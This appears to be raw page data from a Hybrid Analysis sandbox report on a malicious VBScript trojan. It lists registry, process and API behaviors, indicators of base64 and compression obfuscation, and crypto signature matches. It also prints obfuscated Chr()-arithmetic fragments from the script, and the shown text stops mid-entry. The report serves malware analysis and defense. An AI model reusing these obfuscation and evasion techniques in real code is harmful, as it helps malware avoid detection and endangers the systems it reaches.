24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 65:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T488,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 0cf3d7eaea22… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0cf3d7eaea22…. Malware family: Trojan.Generic. Threat score 100/100. 7/26 AV engines flagged this file. 11 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0cf3d7eaea22681caa5425bca164468cf7a13f0848e12ad2fe0115b93e0c9f9c","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","0cf3d7eaea22681caa5425bca164468cf7a13f0848e12ad2fe0115b93e0c9f9c"],"about":{"@type":"SoftwareApplication","name":"Form_1759970159.vbs","applicationCategory":["script","vbs"],"identifier":"0cf3d7eaea22681caa5425bca164468cf7a13f0848e12ad2fe0115b93e0c9f9c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":7,"total":26},"behavioralIndicators":{"malicious":11,"suspicious":25},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T529,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "tWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp")26:T436,Found string - \.\GlobalRoot\SystemRoot\Defender Duplication Data; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string - \.\root\CIMV2; Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp") Found string - \.\l; Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found string - \.\root\CIM; Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp") Found string - \.\root\CIMg; Source: "00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp") Found string - \.\pipe\1l2awVdx40yoC0jbcU6iLoVmsFBN1eKDD2OzUpU3KjElobpUCc7PS2ejrXukdFr89E65GR6LSB6y8lwC37rirwSoW63NZmoGmqi1A3jWbROfZeLmtUh3Iw; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp")27:T7ef,"WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\PROGID") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\PROGID") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\SETTINGS\TELEMETRY\WSCRIPT.EXE") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT\SETTINGS\TELEMETRY\WSCRIPT.EXE") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY")28:T9c2,"WScript.exe" queried SystemProcessInformation at 00000000-00005700-00000C15-3018596884 [PID: 5700] "WScript.exe" queried SystemProcessInformation at 00000000-00005700-00000C15-3018604117 [PID: 5700] "WScript.exe" queried SystemProcessInformation at 00000000-00005700-00000C15-3019732475 [PID: 5700] "WScript.exe" queried SystemProcessInformation at 00000000-00005700-00000C15-3019738964 [PID: 5700] "cmd.exe" queried SystemProcessInformation at 00000000-00000524-00000C15-3022356277 [PID: 524] "cmd.exe" queried SystemProcessInformation at 00000000-00000524-00000C15-3022363007 [PID: 524] "cmd.exe" queried SystemProcessInformation at 00000000-00000524-00000C15-3022880607 [PID: 524] "cmd.exe" queried SystemProcessInformation at 00000000-00000524-00000C15-3022887308 [PID: 524] "cmd.exe" queried SystemProcessInformation at 00000000-00008436-00000C15-3023583340 [PID: 8436] "cmd.exe" queried SystemProcessInformation at 00000000-00008436-00000C15-3023590078 [PID: 8436] "cmd.exe" queried SystemProcessInformation at 00000000-00008436-00000C15-3024124712 [PID: 8436] "cmd.exe" queried SystemProcessInformation at 00000000-00008436-00000C15-3024139290 [PID: 8436] "cmd.exe" queried SystemProcessInformation at 00000000-00003800-00000C15-3025120127 [PID: 3800] "cmd.exe" queried SystemProcessInformation at 00000000-00003800-00000C15-3025126744 [PID: 3800] "cmd.exe" queried SystemProcessInformation at 00000000-00003800-00000C15-3025768919 [PID: 3800] "cmd.exe" queried SystemProcessInformation at 00000000-00003800-00000C15-3025775593 [PID: 3800] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3030193953 [PID: 5280] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3030200538 [PID: 5280] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3032779014 [PID: 5280] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3032814407 [PID: 5280] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3034198988 [PID: 5280] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3034225659 [PID: 5280] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3035023355 [PID: 5280] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3035030248 [PID: 5280] "powershell.exe" queried SystemProcessInformation at 00000000-00005280-00000C15-3035352636 [PID: 5280]29:T62e,Script name: C:\Form_1759970159.vbs contents: Chr(50 + 17) Script name: C:\Form_1759970159.vbs contents: Chr(228 / 2) Script name: C:\Form_1759970159.vbs contents: Chr(404 / 4) Script name: C:\Form_1759970159.vbs contents: Chr(127 - 30) Script name: C:\Form_1759970159.vbs contents: Chr(135 - 19) Script name: C:\Form_1759970159.vbs contents: Chr(123 - 22) Script name: C:\Form_1759970159.vbs contents: Chr(237 / 3) Script name: C:\Form_1759970159.vbs contents: Chr(113 - 15) Script name: C:\Form_1759970159.vbs contents: Chr(133 - 27) Script name: C:\Form_1759970159.vbs contents: Chr(34 + 67) Script name: C:\Form_1759970159.vbs contents: Chr(120 - 21) Script name: C:\Form_1759970159.vbs contents: Chr(33 + 83) Script name: C:\Form_1759970159.vbs contents: Chr(96 - 13) Script name: C:\Form_1759970159.vbs contents: Chr(17 + 82) Script name: C:\Form_1759970159.vbs contents: Chr(36 + 78) Script name: C:\Form_1759970159.vbs contents: Chr(210 / 2) Script name: C:\Form_1759970159.vbs contents: Chr(14 + 98) Script name: C:\Form_1759970159.vbs contents: Chr(143 - 27) Script name: C:\Form_1759970159.vbs contents: Chr(117 - 12) Script name: C:\Form_1759970159.vbs contents: Chr(123 - 13) Script name: C:\Form_1759970159.vbs contents: Chr(128 - 25) Script name: C:\Form_1759970159.vbs contents: Chr(92 / 2) Script name: C:\Form_1759970159.vbs contents: Chr(11 + 59) Script name: C:\Form_1759970159.vbs contents: Chr(420 / 4) Script name: C:\Form_1759970159.vbs contents: Chr(39 + 69) 2a:T5f9,file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "IO.Compression.CompressionMode"; File: "AMSI") file/memory contains long string with (Indicator: "::Decompress"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005280.00000000.258219.A4C60000.00000004.mdmp, 00000000-00005280.00000000.258219.A4EF0000.00000004.mdmp, 00000000-00005280.00000000.258219.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.A4EF0000.00000004.mdmp, 00000000-00005280.00000001.260141.A4FB0000.00000004.mdmp, 00000000-00005280.00000001.260141.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4EF0000.00000004.mdmp, 00000000-00005280.00000002.262058.A4FB0000.00000004.mdmp, 00000000-00005280.00000002.262058.A6F50000.00000004.mdmp, 00000000-00005280.00000002.262058.C0410000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00005280.00000001.260141.A6A70000.00000004.mdmp")2b:T57c,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains ability to decode base64 data Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to decrypt/decode data Matched sigs: Commandline contains long base64 encoded string Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: YARA signature match – Encryption algorithm Matched sigs: HTTP requests contain Base64 strings Matched sigs: The input file contains long base64 encoded strings Matched sigs: YARA signature match - RC4 Encryption2c:T45a,Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ICOUNTRY" (Indicator: "GetLocaleInfo"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_IDEFAULTANSICODEPAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found reference to API "Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ILANGUAGE" (Indicator: "GetLocaleInfo"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp")2d:T24dc,"WScript.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005700) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005700) "WScript.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000070d81e10060000000000000000000000020000000000000050d71e10060000001000000000000400dc14ef508e62000031003100620036000000000000000000000000000000000058288a26fe7f000080d91e1006000000f8dd2b17eaced1118b0500600806d9b63e0fe941c156334681c36e8bac8bdd7080d81e1006000000c7bc6926fe7f0000100800000000000036007d0000000000f8dd2b17eaced1118b0500600806d9b63e0fe941c156334681c36e8bac8bdd701c15ef508e6200002a428b27fe7f00000000000000000000000000000000000058d91e100600000088d91e10060000000000000000000000000000000000000000000000 (UID: 00000000-00005700) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000000000000000000000000000000000000000f8e92f696b000000180000006b000000d1dde38acfc900001f1e4a4674010000190000000000000090e92f696b00000070554a467401000020194a46740100001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000002826fe7f0000e30f2dab4e8c0000e0462826fe7f0000201e4a467401000098062926fe7f000040ef4a467401000000003425fe7f00000000000000000000e0462826fe7f00000300000000000000f3858927fe7f00006e472826fe7f000027668927fe7f0000d0e92f69 (UID: 00000000-00000524) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000524) "cmd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000524) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000018e9b8475d000000180000005d00000098090c53f0d300009f422e2ec70100002300000000000000b0e8b8475d000000b0562d2ec7010000c03b2e2ec70100001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000002826fe7f0000ee9097f1ea660000e0462826fe7f0000a0422e2ec701000098062926fe7f0000f0ce2d2ec701000000003425fe7f00000000000000000000e0462826fe7f00000300000000000000f3858927fe7f00006e472826fe7f000027668927fe7f0000f0e8b847 (UID: 00000000-00008436) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008436) "cmd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008436) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000008e5101fe600000018000000e6000000fd542bcaf59b00005f5a49a2040200000e00000000000000a0e4101fe6000000b05648a204020000705749a2040200001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000002826fe7f0000daae00f1a1a30000e0462826fe7f0000605a49a20402000098062926fe7f0000b0f648a20402000000003425fe7f00000000000000000000e0462826fe7f00000300000000000000f3858927fe7f00006e472826fe7f000027668927fe7f0000e0e4101f (UID: 00000000-00003800) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003800) "cmd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003800) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005280) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005280) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c9384b25fe7f000080000000000000000000000000000000c08cfba66d02000010338c27fe7f000000000000000000000000f526fe7f000070d37f9f7000000010414825fe7f0000a0daf7a66d02000030d37f9f70000000000000000000000000000000000000000100000000000000b8404825fe7f0000060000000000000001000000000000000000f526fe7f00003b4dfd24fe7f00000000000000000000e8d77f9f700000000000000000000000d02a0727fe7f000010b36d27fe7f0000e8f84725fe7f000010b36d27fe7f0000d02a0727fe7f00000d000000fe7f00000d00000000000000a0f65d27fe7f0000f5870227fe7f0000d02a0727 (UID: 00000000-00005280)2e:T24dc,"WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000001800000000000000e4a3957f987d00009dfa30c671a10000060000000000000000000934f67f0000a402401dfe7f00000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000934 (UID: 00000000-00005700) "WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000030de0c004e010000c0fb02fcfd7f00000001000000000000b8fb02fcfd7f0000000000000000000080cbbe26fe7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a02fcfd7f00000000000000000000b8fb02fcfd7f000000000000 (UID: 00000000-00005700) "WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000863c67f9fd7f0000104c67f9fd7f000040b369f9fd7f0000104c67f9fd7f000040b369f9fd7f000020b369f9fd7f00009d3c67f9fd7f000060266af9fd7f000000f564024e01000010f564024e01000000003226fe7f00000100000000000000bddbc026fe7f0000000000000000000038b369f9fd7f000000000000 (UID: 00000000-00005700) "WScript.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f0000ba4830f9fd7f0000605530f9fd7f0000b06732f9fd7f0000605530f9fd7f0000b06732f9fd7f0000906732f9fd7f0000d14830f9fd7f0000000000000000000044610125fe7f000098ee44004e01000000003226fe7f00000100000000000000bddbc026fe7f00000100000000000000743b30f9fd7f000000000000 (UID: 00000000-00005700) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d58000002000000007f00000000000000000000f077fea66d020000c0fb67f9fd7f00000001000000000000b8fb67f9fd7f0000000000000000000080cbbe26fe7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a67f9fd7f00000000000000000000b8fb67f9fd7f000000000000 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000084d58f9f70000000201407a76d02000074d58f9f700000008000000000000000000000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000000000000000010000000000000006f5b540ffe7f0000201407a7 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000020000c87b4bbf6d02000000000000000000000300000000000000ffffffff00000000201407a76d02000098d78f9f70000000100000000000000000d78f9f7000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000008fdfd7f000010000000000000006f5b540ffe7f000000000000 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000020d88f9f700000000000000000000000ffffffff00000000c8ec7ea96d020000201407a76d02000020d88f9f7000000048d17ea96d020000030000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000000000000000010000000000000006f5b540ffe7f0000ffffffff (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000084d58f9f70000000201407a76d02000074d58f9f700000008000000000000000000000000000000024f0f918fe7f000000000000000000001000000000000000000000000000000000004fbf6d02000010000000000000006f5b540ffe7f0000201407a7 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000020000b8a94fbf6d02000000000000000000000300000000000000ffffffff00000000201407a76d02000098d78f9f70000000100000000000000000d78f9f7000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000008fdfd7f000010000000000000006f5b540ffe7f000000000000 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000020d88f9f700000000000000000000000ffffffff0000000098137fa96d020000201407a76d02000020d88f9f7000000048d17ea96d020000030000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000000000000000010000000000000006f5b540ffe7f0000ffffffff (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000034e28f9f70000000201407a76d02000024e28f9f700000008000000000000000000000000000000024f0f918fe7f000000000000000000001000000000000000000000000000000000004fbf6d02000010000000000000006f5b540ffe7f0000201407a7 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000020000e8a04bbf6d02000000000000000000000300000000000000ffffffff00000000201407a76d02000048e48f9f700000001000000000000000b0e38f9f7000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000008fdfd7f000010000000000000006f5b540ffe7f000000000000 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000000000d0e48f9f700000000000000000000000ffffffff000000001894fba96d020000201407a76d020000d0e48f9f700000001859c2a76d020000030000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000000000000000010000000000000006f5b540ffe7f0000ffffffff (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000034e28f9f70000000201407a76d02000024e28f9f700000008000000000000000000000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000050bf6d02000010000000000000006f5b540ffe7f0000201407a7 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000020000b8b44fbf6d02000000000000000000000300000000000000ffffffff00000000201407a76d02000048e48f9f700000001000000000000000b0e38f9f7000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000008fdfd7f000010000000000000006f5b540ffe7f000000000000 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000000000d0e48f9f700000000000000000000000ffffffff00000000f8d9fba96d020000201407a76d020000d0e48f9f700000001859c2a76d020000030000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000000000000000010000000000000006f5b540ffe7f0000ffffffff (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000004e58f9f70000000201407a76d020000f4e48f9f700000008000000000000000000000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000047bf6d02000010000000000000006f5b540ffe7f0000201407a7 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000020000c87b4bbf6d02000000000000000000000300000000000000ffffffff00000000201407a76d02000018e78f9f70000000100000000000000080e68f9f7000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000008fdfd7f000010000000000000006f5b540ffe7f000000000000 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000000000a0e78f9f700000000000000000000000ffffffff00000000c8be01aa6d020000201407a76d020000a0e78f9f700000001859c2a76d020000030000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000000000000000010000000000000006f5b540ffe7f0000ffffffff (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d580000020000000000000000000000000000000000000000000000000000000000000004e58f9f70000000201407a76d020000f4e48f9f700000008000000000000000000000000000000024f0f918fe7f00000000000000000000100000000000000000000000000000000000cda46d02000010000000000000006f5b540ffe7f0000201407a7 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000020000b8b44fbf6d02000000000000000000000300000000000000ffffffff00000000201407a76d02000018e78f9f70000000100000000000000080e68f9f7000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000008fdfd7f000010000000000000006f5b540ffe7f000000000000 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000000000a0e78f9f700000000000000000000000ffffffff0000000058e401aa6d020000201407a76d020000a0e78f9f700000001859c2a76d020000030000000000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000000000000000010000000000000006f5b540ffe7f0000ffffffff (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 